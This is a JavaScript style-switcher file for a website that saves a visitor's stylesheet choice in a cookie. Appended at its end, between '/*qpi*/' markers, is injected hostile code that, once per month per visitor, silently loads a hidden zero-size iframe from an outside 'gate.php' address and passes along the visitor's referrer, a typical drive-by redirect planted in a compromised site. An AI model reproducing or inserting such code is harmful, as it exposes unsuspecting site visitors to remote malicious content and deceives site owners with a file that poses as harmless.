// This CSS style switcher courtesy of Paul Snowden
// (http://www.alistapart.com/stories/alternate/)

var cookieName = 'edguruStylesheet';

function setActiveStylesheet(title) {
  var i, a, main;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
      a.disabled = true;
      if(a.getAttribute("title") == title) a.disabled = false;
    }
  }
}

function getActiveStylesheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
  }
  return null;
}

function getPreferredStylesheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1
       && a.getAttribute("rel").indexOf("alt") == -1
       && a.getAttribute("title")
       ) return a.getAttribute("title");
  }
  return null;
}

function createCookie(name,value,days) {
  if (days) {
    var date = new Date();
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires="+date.toGMTString();
  }
  else expires = "";
  document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
  var nameEQ = name + "=";
  var ca = document.cookie.split(';');
  for(var i=0;i < ca.length;i++) {
    var c = ca[i];
    while (c.charAt(0)==' ') c = c.substring(1,c.length);
    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  }
  return null;
}

window.onload = function(e) {
  var cookie = readCookie(cookieName + "-fontsize");
  var title = cookie ? cookie : getPreferredStylesheet();
  setActiveStylesheet(title);
}

window.onunload = function(e) {
  var title = getActiveStylesheet();
  createCookie(cookieName + "-fontsize", title, 365);
}

var cookie = readCookie(cookieName + "-fontsize");
var title = cookie ? cookie : getPreferredStylesheet();
setActiveStylesheet(title);
/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=838414&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
